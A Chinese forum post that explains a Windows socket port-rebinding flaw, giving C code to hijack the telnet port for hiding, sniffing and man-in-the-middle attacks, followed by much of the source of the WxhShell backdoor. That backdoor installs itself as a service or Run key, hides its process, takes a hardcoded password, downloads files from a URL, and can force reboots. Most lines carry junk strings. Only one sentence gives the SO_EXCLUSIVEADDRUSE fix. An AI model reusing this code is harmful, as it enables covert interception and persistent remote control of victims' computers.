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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c6Z"6-}$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c$8M}q:X  
4*&2D-8<K  
  saddr.sin_family = AF_INET; Tg@:mw5  
7Tc^}Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cz41<SFL  
MMy\u) 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @:/H)F^x  
IMSLHwZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j" 5 +"j  
0TqIRUz "C  
  这意味着什么?意味着可以进行如下的攻击: ~,Kx"VK  
cB6LJ}R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $EnBigb!  
pS~=T}o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2AXf'IOqE  
':7gYP*v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y~B-dx'V  
> ofWHl[-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cS%;JV>C  
SQ057V>'=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5 )z'=  
6SF29[&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wz{&0-md*'  
S@ @#L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8^pu C  
2f5YkmGc";  
  #include KjK-#F,@  
  #include 4vi [hiV   
  #include Z_4|L+i<{  
  #include    avY<~-44B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .naSK`J,`  
  int main() 7 &iav2q  
  { J|u_45<  
  WORD wVersionRequested; hO2W!68  
  DWORD ret; {n{-5Y  
  WSADATA wsaData; Z=be ki]  
  BOOL val; ap<r )<u  
  SOCKADDR_IN saddr; D$Ao-6QE W  
  SOCKADDR_IN scaddr; bR<XQHl  
  int err; fwi -   
  SOCKET s; %-L T56T  
  SOCKET sc; c6cB {/g  
  int caddsize; MDoV84Fh  
  HANDLE mt; XZ:6A]62I  
  DWORD tid;   [ZL<Q  
  wVersionRequested = MAKEWORD( 2, 2 ); Y+DVwz$  
  err = WSAStartup( wVersionRequested, &wsaData ); Prrz>  
  if ( err != 0 ) { _ZE&W  
  printf("error!WSAStartup failed!\n"); ;!B,P-Z"g  
  return -1; bb}Fu/S  
  } xk7VuS *  
  saddr.sin_family = AF_INET; \;1nEjIA  
   > .K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lv#L+}T  
?(Xy 2%v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3b/J  
  saddr.sin_port = htons(23); SNC)cq+{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :)F0~Q  
  { '>GPk5Nq77  
  printf("error!socket failed!\n"); -Np}<O`./  
  return -1; y?UB?2 VN  
  } RBpv40n0  
  val = TRUE; A&{eC C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x$z>.4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'u9y\vUy  
  { 9?uU%9r5P  
  printf("error!setsockopt failed!\n"); 6$t+Q~2G!  
  return -1; y;f nC5Q  
  } M63t4; 0A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )O8w'4P5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -0+h&CO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I:M15  
^sF(IV[>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p: u@? k  
  { l4 YTR4D  
  ret=GetLastError(); y>c Yw!  
  printf("error!bind failed!\n"); y m?uj4I{  
  return -1; H-3*},9  
  } /}k?Tg/  
  listen(s,2); )BZ6QO`5n  
  while(1) sY* qf=  
  { h#Z~x  
  caddsize = sizeof(scaddr); B.}j1 Bb  
  //接受连接请求 zd=N.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); esd9N'.Q*  
  if(sc!=INVALID_SOCKET) e 3TKg  
  { \"9ysePI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CYdYa|  
  if(mt==NULL) C?]+(P  
  { 7>3+]njw  
  printf("Thread Creat Failed!\n"); %<1_\N7  
  break; WH<\f |xR  
  } f%yNq6l  
  } (8(P12l  
  CloseHandle(mt); ]+Z,HY@;-  
  } >6|Xvtf  
  closesocket(s); %?J-0  
  WSACleanup(); ZQyXzERp  
  return 0; B;t{IYhq{  
  }   (d['f]S+&  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wu)An  
  { SqVh\Nn  
  SOCKET ss = (SOCKET)lpParam; ' /3\bvZ  
  SOCKET sc; lt%9Zgr[u  
  unsigned char buf[4096]; ctR ^"'u  
  SOCKADDR_IN saddr; 7)BK&kpVr  
  long num; c1<jY~U  
  DWORD val; ,uZz?7mO  
  DWORD ret; 1cV0TUrz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y]Zp[!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UPkc-^BN  
  saddr.sin_family = AF_INET; |21*p#>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W(EN01d\  
  saddr.sin_port = htons(23); ZeH=]G4Zv7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^2nH6,LPS  
  { %-an\.a.  
  printf("error!socket failed!\n"); q*}$1 zb  
  return -1; B-wF1! Jv  
  } L(}/W~En  
  val = 100; 4 ;^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h5lngw  
  { #KDN  
  ret = GetLastError(); tdNAR|  
  return -1; ,#hNHFa'JH  
  } WyUa3$[gO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &<# ,J4  
  { Hi&bNM>?O  
  ret = GetLastError(); 54Vb[;`Kkb  
  return -1; n66b(6"mO2  
  } UW&K\P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mr@{3do$  
  { c LfPSA  
  printf("error!socket connect failed!\n"); E0eZal],  
  closesocket(sc); Dk}txw}#  
  closesocket(ss); -Zqw[2Q4  
  return -1; c@$W]o"A  
  } L"}2Y3  
  while(1) \cQ+9e)  
  { bLO^5`6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?}No'E1!I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ygxaT"3"=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RggO|s+0;  
  num = recv(ss,buf,4096,0); |&~);>Cq2  
  if(num>0) wvH*<,8V q  
  send(sc,buf,num,0); twp~#s:\z  
  else if(num==0) ~/!jKH7`j  
  break; 7lAnGP.;  
  num = recv(sc,buf,4096,0); q5.5%W  
  if(num>0) \7Fp@ .S3  
  send(ss,buf,num,0); 5Z[HlN|-!  
  else if(num==0) $S U<KNMZ  
  break; 64SRW8AH  
  } E#\'$@8j  
  closesocket(ss); NYPjN9L  
  closesocket(sc); I9YMxf>nI  
  return 0 ; rji<g>GQ  
  } j#9n.i %h  
z=TuUl@  
G4"n`89LK  
========================================================== Se [>z(  
k!!d2y6  
下边附上一个代码,,WXhSHELL ]C>h_,EZc  
nz Klue  
========================================================== j^D/ ,SW  
q^b12@.  
#include "stdafx.h" vZIx>  
:~~\{fm  
#include <stdio.h> =9A!5  
#include <string.h> /Tp>aW%}"  
#include <windows.h> QLZ%m$Z  
#include <winsock2.h> N._^\FRyn  
#include <winsvc.h> "S psSQ  
#include <urlmon.h> [L?WM>]%  
VQbKrnX  
#pragma comment (lib, "Ws2_32.lib") /Mw0<#  
#pragma comment (lib, "urlmon.lib") oMKGM@V  
WISeP\:^  
#define MAX_USER   100 // 最大客户端连接数 IDp2#qg_  
#define BUF_SOCK   200 // sock buffer hlHle\[ds  
#define KEY_BUFF   255 // 输入 buffer o6 8;-b'n  
\ZC0bHsA  
#define REBOOT     0   // 重启 hho\e 8  
#define SHUTDOWN   1   // 关机 /re0"!0y  
FeJKXYbk<  
#define DEF_PORT   5000 // 监听端口 ^;;gPhhWV  
Fb^,%K:  
#define REG_LEN     16   // 注册表键长度 8CRwHDB  
#define SVC_LEN     80   // NT服务名长度 a'7RzN ,]  
vcSb:('  
// 从dll定义API MwWN;_#EO)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NZuylQ)0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ":L d}~>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ar`U / %Cu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BsYJIKfW  
Rc~63![O.  
// wxhshell配置信息 ,772$7x  
struct WSCFG { %D[6;PT  
  int ws_port;         // 监听端口 w=ZK=@  
  char ws_passstr[REG_LEN]; // 口令 5- "aK~@+  
  int ws_autoins;       // 安装标记, 1=yes 0=no }QJ6"s  
  char ws_regname[REG_LEN]; // 注册表键名 sDXQ{*6a  
  char ws_svcname[REG_LEN]; // 服务名 D#11 N^-K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |k)Nf+(}W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k'K 1zUBj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }Q_ }c9?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;uqi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - S%8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =2d h}8Mz  
}1YQ?:@  
}; 'l._00yu  
_@sSVh$+  
// default Wxhshell configuration y&2O)z!B  
struct WSCFG wscfg={DEF_PORT, @*JS[w$1  
    "xuhuanlingzhe", 7/FF}d  
    1, 6"V86b0)h}  
    "Wxhshell", ,h'omU7  
    "Wxhshell", vVH*\&H\T  
            "WxhShell Service", 7@ mP;K0  
    "Wrsky Windows CmdShell Service", rv %^2h<&  
    "Please Input Your Password: ", ]dnB ,  
  1, K[9{]$(Z  
  "http://www.wrsky.com/wxhshell.exe", 3E;<aCG?  
  "Wxhshell.exe" %F]:nk`  
    }; g #[,4o;  
0vcFX)]yW  
// 消息定义模块 Wp//SV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \PK}4<x}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u=sZFr@m[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6"La`}B(T8  
char *msg_ws_ext="\n\rExit."; 4z,n:>oH  
char *msg_ws_end="\n\rQuit."; +qmV|$rmM  
char *msg_ws_boot="\n\rReboot..."; >\>!Q V1@  
char *msg_ws_poff="\n\rShutdown..."; k E-+#p  
char *msg_ws_down="\n\rSave to "; RGLi#:0_.x  
c 4L++ u#  
char *msg_ws_err="\n\rErr!"; CDWchY  
char *msg_ws_ok="\n\rOK!"; 3mXRLx=0>  
oY7 eVuz  
char ExeFile[MAX_PATH]; {_X&{dZLX  
int nUser = 0; >2K:O\&  
HANDLE handles[MAX_USER]; G":u::hR  
int OsIsNt; `MXGEJF  
<_-8)abK  
SERVICE_STATUS       serviceStatus; IHj9n>c)[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r~T3Ieb  
41\V;yib  
// 函数声明 ?., 2EC=+  
int Install(void); w(nQ:;oC  
int Uninstall(void); Y!AQ7F  
int DownloadFile(char *sURL, SOCKET wsh); Yx<wYzD  
int Boot(int flag); m/NXifi8l  
void HideProc(void); {iVmae  
int GetOsVer(void); jLreN#:9  
int Wxhshell(SOCKET wsl); PA>su)N$  
void TalkWithClient(void *cs); 1'9YY")#  
int CmdShell(SOCKET sock); 4z!(!J )  
int StartFromService(void); q@Sj$  
int StartWxhshell(LPSTR lpCmdLine); Z_[jah  
w&LL-~KI+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R5MY\^H/A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {&.?u1C.\  
A{a`%FAV  
// 数据结构和表定义 ]nQ(|$rW  
SERVICE_TABLE_ENTRY DispatchTable[] = ^I6GH?19>e  
{ 3H@29TrJ+  
{wscfg.ws_svcname, NTServiceMain}, e"voXe  
{NULL, NULL} 6#1:2ZHKG  
}; jW_FaPW(p  
S&;D  
// 自我安装 |=ljN7]!  
int Install(void) ;.b^A  
{ (Kaunp5_`  
  char svExeFile[MAX_PATH]; K"9V8x3Wg  
  HKEY key; y`-5/4  
  strcpy(svExeFile,ExeFile); CFiO+p&  
I07_o"3>qr  
// 如果是win9x系统,修改注册表设为自启动 )` 90*  
if(!OsIsNt) { oHkjMqju  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qn~:B7f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5`[B:<E4  
  RegCloseKey(key); w1 tg7^(@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)}z$h55  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g(F? qP_K  
  RegCloseKey(key); >O}J*4A>+#  
  return 0; B;xGTl@8  
    } %Dm:|><V$b  
  } /S&8%fb  
} K!_''Fg  
else { "\1QJ  
W1p5F\ wt  
// 如果是NT以上系统,安装为系统服务 t+Hx&_pMj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %%f(R7n  
if (schSCManager!=0) dSIZsapH  
{ ^ l9NF  
  SC_HANDLE schService = CreateService '.d]n(/lZd  
  ( %& b70]S(  
  schSCManager, =hB0p^a  
  wscfg.ws_svcname, 7NDjXcuq  
  wscfg.ws_svcdisp, 8S7 YVsDz"  
  SERVICE_ALL_ACCESS, ouR(l;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ${)s ~[  
  SERVICE_AUTO_START, hDHIi\%  
  SERVICE_ERROR_NORMAL, -[.A6W  
  svExeFile, \t@4)+s/)  
  NULL, }uk]1M2=  
  NULL, HVK./y qy  
  NULL, :_"%o=  
  NULL, yaKw/vV  
  NULL ad[oor/7|  
  ); V-TWC@Y"  
  if (schService!=0) c9)5G+   
  { lM-*{<B  
  CloseServiceHandle(schService); 2@#`x"0  
  CloseServiceHandle(schSCManager); _=RK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1# X*kF  
  strcat(svExeFile,wscfg.ws_svcname); c-hhA%@Wq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _=;ltO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ug,23  
  RegCloseKey(key); zV"oB9\9O  
  return 0; j9/Ev]im|F  
    } $yg=tWk  
  } 61{IXx_  
  CloseServiceHandle(schSCManager); F_C_K"[s  
} *;y n_zg  
} [*AWCV  
u#`FkuE\}  
return 1; ;f)o_:(JJ  
} Wg ?P"  
iHL`r1I!  
// 自我卸载 t`y*oRy  
int Uninstall(void) [W2GLd]  
{ JypXQC}~  
  HKEY key; CxRh MhvP  
J{bNx8.&  
if(!OsIsNt) { #Bgq]6G2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _F9O4Q4  
  RegDeleteValue(key,wscfg.ws_regname); *QT|J6ng  
  RegCloseKey(key); nH % 1lD?:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y OLqIvN  
  RegDeleteValue(key,wscfg.ws_regname); BbdJR]N/!h  
  RegCloseKey(key); &i%1\ o  
  return 0; ccu13Kr>E  
  } +1 j+%&).  
} njN]0l{p  
} mtn+bV R%  
else { %:WM]dc  
'4}c1F1T_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <UMT:`h1MZ  
if (schSCManager!=0) 37QXML  
{ ]J* y`jn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lTn~VsoRZ  
  if (schService!=0)  ~ok i s  
  { O9tgS@*Tv  
  if(DeleteService(schService)!=0) { bxA1fA;  
  CloseServiceHandle(schService); @Xb>GPVe#L  
  CloseServiceHandle(schSCManager); =y kOh_M  
  return 0; C #A\Rfi  
  } 5zBayJh#  
  CloseServiceHandle(schService); :u$+lq  
  } XTOZ]H*^  
  CloseServiceHandle(schSCManager); x3++JG  
} bR;Zc  
} C5^eD^[c  
9M$N>[og  
return 1; f8'$Mn,  
} O#5ll2?  
, JUP   
// 从指定url下载文件 p&#*  
int DownloadFile(char *sURL, SOCKET wsh) Y!tjaL 9D  
{ >&3ATH;&(  
  HRESULT hr; OK^0,0kS3  
char seps[]= "/"; bb^$]lT'  
char *token; P.;S6i n  
char *file; e;/C}sK:  
char myURL[MAX_PATH]; \"u3 x.!  
char myFILE[MAX_PATH]; f!"Y"g:@E  
Ft)Z'&L   
strcpy(myURL,sURL); _%$(D"^j  
  token=strtok(myURL,seps); Y[yw8a  
  while(token!=NULL) /-W-MP=Wd  
  { > \KVg(?D  
    file=token; _,i+gI[  
  token=strtok(NULL,seps); r 7mg>3  
  } k v}<u  
KtFxG6a  
GetCurrentDirectory(MAX_PATH,myFILE); S"z cSkF  
strcat(myFILE, "\\"); ]$vJK  
strcat(myFILE, file); #1C~i}J1  
  send(wsh,myFILE,strlen(myFILE),0); 9C{\=?e;  
send(wsh,"...",3,0); 3koXM_4_{)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3oCw(Ff  
  if(hr==S_OK) 6^ DsI  
return 0; (cj3[qq  
else P;dp>jL  
return 1; .u_k?.8|  
XFg.Z+ #  
} 0kD8wj%  
$.z~bmH"D  
// 系统电源模块 +HK)A%QI  
int Boot(int flag) yeCR{{B/'  
{ <9s=K\-  
  HANDLE hToken; f 2#9E+IQ  
  TOKEN_PRIVILEGES tkp; cc%O35o  
($oO, c'z  
  if(OsIsNt) { 4P>tGO&*x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uq,M\V \  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N&0MA  
    tkp.PrivilegeCount = 1; Vd{h|=J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IFX|"3[$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] _/d  
if(flag==REBOOT) { YW}1iT/H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Iy}r'#N  
  return 0; $DfaW3bJ  
} J\%<.S>  
else { V+dfV`*k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ur626}  
  return 0; hao0_9q+  
} x Qh?  
  } a9E!2o+,  
  else { t|X |67W  
if(flag==REBOOT) { h]94\XQ>$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rI:KZ}GZ  
  return 0; k"P2J}4eO  
} F$K-Q;r]<  
else { 4JHQ^i-aY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Or9@X=C  
  return 0; ~EU[?  
} f$E66yG  
} OU(z};Is6Z  
?CS jn  
return 1; kC R)k=*  
} '^l/e: (H3  
|7Q8WjCQ{m  
// win9x进程隐藏模块 RZfC ?  
void HideProc(void) _^RN C)ol  
{ |zu>G9m  
K)qbd~<\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sQ^>.yG  
  if ( hKernel != NULL ) Y\ T*8\h_[  
  { rI}E2J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &F}1\6{fL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &bJ98 Nxl  
    FreeLibrary(hKernel); k~Pm.@,3o  
  } zJMKgw,i*  
l\^q7cXG  
return; LeW.uh3.  
} qD\%8l.]Z  
(nrrzOax  
// 获取操作系统版本 AEwb'  
int GetOsVer(void) 4(4JQ(5  
{ =tcPYYD  
  OSVERSIONINFO winfo; *eXO?6f%s^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $U jSP  
  GetVersionEx(&winfo); 2LYd # !i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z1+rz%  
  return 1; 4Uf+t?U9  
  else e #^|NQ<'A  
  return 0; v%< _Mh  
} fC3IxlG  
s/[i>`g/9  
// 客户端句柄模块 ud:?~?j&w  
int Wxhshell(SOCKET wsl) =X X_C nn  
{ V8Q#%#)FHe  
  SOCKET wsh; 5?kA)!|UB  
  struct sockaddr_in client; 8{+~3@T  
  DWORD myID; @sKAsn  
16N8h]l  
  while(nUser<MAX_USER) _3p:q.  
{ 73~Mq7~8  
  int nSize=sizeof(client); }WGi9\9T&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F.8{ H9`  
  if(wsh==INVALID_SOCKET) return 1; w=e,gNO  
6sy%KO*A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F'CUkVC0~P  
if(handles[nUser]==0) >2syF{`j  
  closesocket(wsh); f9- |! ]s  
else ,P"R.A  
  nUser++; &`L5UX  
  } wI}'wALhA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xdo{4XY^*W  
MF\n@lX  
  return 0; jX&&@zMq  
} \wRr6-!_  
Mty]LMK  
// 关闭 socket GvzPT2E!  
void CloseIt(SOCKET wsh) 8)POEY4  
{ 3 n:<oOV  
closesocket(wsh); cHsJQU*K6  
nUser--; }2c}y7B,_  
ExitThread(0); b$R>GQ?#  
} , D1[}Lr=K  
jZ D\u%  
// 客户端请求句柄 aJ)5DlfLR  
void TalkWithClient(void *cs) V2FE|+R%g  
{ M<$l&%<`G  
` `;$Kr  
  SOCKET wsh=(SOCKET)cs; MZjiJZaO:L  
  char pwd[SVC_LEN]; Mqh~5NM  
  char cmd[KEY_BUFF]; F[=m|MZb  
char chr[1]; ^Js9E  
int i,j; 3Xh&l[.  
[S4\fy0  
  while (nUser < MAX_USER) { *VlYl"  
H4:TYh  
if(wscfg.ws_passstr) { 6$6NVq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ESrWRO f9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X3m?zQbhv  
  //ZeroMemory(pwd,KEY_BUFF); Na~_=3+a  
      i=0; wO!hVm,T a  
  while(i<SVC_LEN) { Y!7P>?)`,X  
k(qQvn  
  // 设置超时 g?$9~/h :;  
  fd_set FdRead; }"&(sYQ*`  
  struct timeval TimeOut; Ro1' L1:  
  FD_ZERO(&FdRead);  ^,KR0  
  FD_SET(wsh,&FdRead); Fo G<$9  
  TimeOut.tv_sec=8; 5nj~RUK  
  TimeOut.tv_usec=0; ,xh9,EpBk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /3TorB~Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I@S<D"af  
xRY5[=97  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \QMSka>  
  pwd=chr[0]; D1Sl+NOV  
  if(chr[0]==0xd || chr[0]==0xa) { 'j3'n0o  
  pwd=0; P~qVr#eU  
  break; &"kx (B  
  } 0 j.Sb2  
  i++; {PVu3 W  
    } ,){0y%c#y  
$Tur"_`I;  
  // 如果是非法用户,关闭 socket ibuI/VDF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |"-,C}O  
} ~Op1NE  
rka:.#!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UA8!?r-cR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h@DJ/&;u@  
; p_X7N  
while(1) { !xc7~D@om(  
y^A $bTQq  
  ZeroMemory(cmd,KEY_BUFF); ;Pa(nUE@  
*=7[Ip< X  
      // 自动支持客户端 telnet标准   ~ /x42|t  
  j=0; P&tK}Se^V  
  while(j<KEY_BUFF) { "QF083$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;dFe >`~  
  cmd[j]=chr[0]; VxFy[rP  
  if(chr[0]==0xa || chr[0]==0xd) { ``<1Lo@  
  cmd[j]=0; ^"l$p,P+  
  break; Qm.kXlsDI  
  } []]3"n  
  j++; @ tIB'|O  
    } `@e H4}L*  
E nvs[YZe  
  // 下载文件 9>#|~P&FE  
  if(strstr(cmd,"http://")) { %KA/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3-R3Qlr  
  if(DownloadFile(cmd,wsh)) gCJ'wv)6|%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yn#h$o<  
  else A%PPG+IfA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%V[&"5%e  
  } :z\f.+MI  
  else { CN=&Je%I  
~tLR  
    switch(cmd[0]) { Vw*x3>`  
  Ax0,7,8y  
  // 帮助 W =zG  
  case '?': { g=C<E2'i*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E%^28}dN  
    break; Pp/{keEye  
  } ! -c*lb  
  // 安装 _6m3$k_[MJ  
  case 'i': { F&*M$@u5  
    if(Install()) S0+zq<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); upDQNG>d  
    else 88>Uu!M=f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z~(XyaN  
    break; RNdnlD#P  
    } y2R=%EFh6  
  // 卸载 re!8nuBsA  
  case 'r': { gxOmbQt@;  
    if(Uninstall()) W\,lII0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  z\tJ~  
    else B0i}Y-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pD#"8h  
    break; doc  
    } XX-T",  
  // 显示 wxhshell 所在路径 q&E5[/VK:  
  case 'p': { fqb$_>3Ol  
    char svExeFile[MAX_PATH]; C.E> )  
    strcpy(svExeFile,"\n\r"); A7C+&I!L  
      strcat(svExeFile,ExeFile); A E&n^vdQW  
        send(wsh,svExeFile,strlen(svExeFile),0); GX)QIe~;qJ  
    break; g8+,wSE  
    } zb/Xfu.)?6  
  // 重启 @WHd(ka!  
  case 'b': { 3~</lAm;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %5*#c*)R  
    if(Boot(REBOOT)) > bF!Y]H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <S$21NtM87  
    else { i8Y gG0[)  
    closesocket(wsh); wWw/1i:|'  
    ExitThread(0); k_n{Mss'9  
    } n ;5?^Un%  
    break; LtztjAm.  
    } ~Ls I<z  
  // 关机 9Nu#&_2R  
